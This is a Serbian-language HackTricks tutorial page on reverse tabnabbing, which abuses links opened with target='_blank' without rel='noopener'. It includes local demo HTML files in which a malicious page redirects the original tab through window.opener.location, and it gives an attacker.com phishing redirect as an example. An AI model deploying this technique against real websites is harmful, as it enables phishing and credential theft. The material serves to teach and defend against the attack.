tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Opis
U situaciji gde napadač može kontrolisati href
argument <a
taga sa atributom target="_blank" rel="opener"
koji će biti kliknut od strane žrtve, napadač usmerava ovu vezu na web stranicu pod njegovom kontrolom (maliciozna web stranica). Kada žrtva klikne na link i pristupi napadačevoj web stranici, ova maliciozna web stranica će moći da kontroliše originalnu stranicu putem javascript objekta window.opener
.
Ako stranica nema rel="opener"
ali sadrži target="_blank"
i takođe nema rel="noopener"
, takođe može biti ranjiva.
Uobičajen način zloupotrebe ovog ponašanja bio bi da se promeni lokacija originalne web stranice putem window.opener.location = https://attacker.com/victim.html
na web stranicu koju kontroliše napadač koja izgleda kao originalna, tako da može imitirati login formu originalne web stranice i tražiti kredencijale od korisnika.
Međutim, imajte na umu da pošto napadač sada može kontrolisati objekat prozora originalne web stranice, može ga zloupotrebiti na druge načine za izvođenje diskretnijih napada (možda modifikovanjem javascript događaja da izvuče informacije na server pod njegovom kontrolom?)
Pregled
Sa povratnim linkom
Link između roditeljskih i dečijih stranica kada atribut za prevenciju nije korišćen:
Bez povratnog linka
Link između roditeljskih i dečijih stranica kada je atribut za prevenciju korišćen:
Primeri
Kreirajte sledeće stranice u folderu i pokrenite web server sa python3 -m http.server
Zatim, pristupite http://127.0.0.1:8000/
vulnerable.html, kliknite na link i primetite kako se URL originalne web stranice menja.
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>
Accessible properties
U scenariju gde se dešava cross-origin pristup (pristup preko različitih domena), svojstva window JavaScript klase instance, na koja se poziva putem opener JavaScript objekta, koja mogu biti dostupna zloćudnom sajtu su ograničena na sledeće:
opener.closed
: Ovo svojstvo se koristi da se utvrdi da li je prozor zatvoren, vraćajući boolean vrednost.opener.frames
: Ovo svojstvo omogućava pristup svim iframe elementima unutar trenutnog prozora.opener.length
: Broj iframe elemenata prisutnih u trenutnom prozoru se vraća ovim svojstvom.opener.opener
: Referenca na prozor koji je otvorio trenutni prozor može se dobiti putem ovog svojstva.opener.parent
: Ovo svojstvo vraća roditeljski prozor trenutnog prozora.opener.self
: Pristup trenutnom prozoru samom se obezbeđuje ovim svojstvom.opener.top
: Ovo svojstvo vraća najgornji prozor pretraživača.
Međutim, u slučajevima kada su domeni identični, zloćudni sajt dobija pristup svim svojstvima koja izlaže window JavaScript objekat.
Prevention
Informacije o prevenciji su dokumentovane u HTML5 Cheat Sheet.
References
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.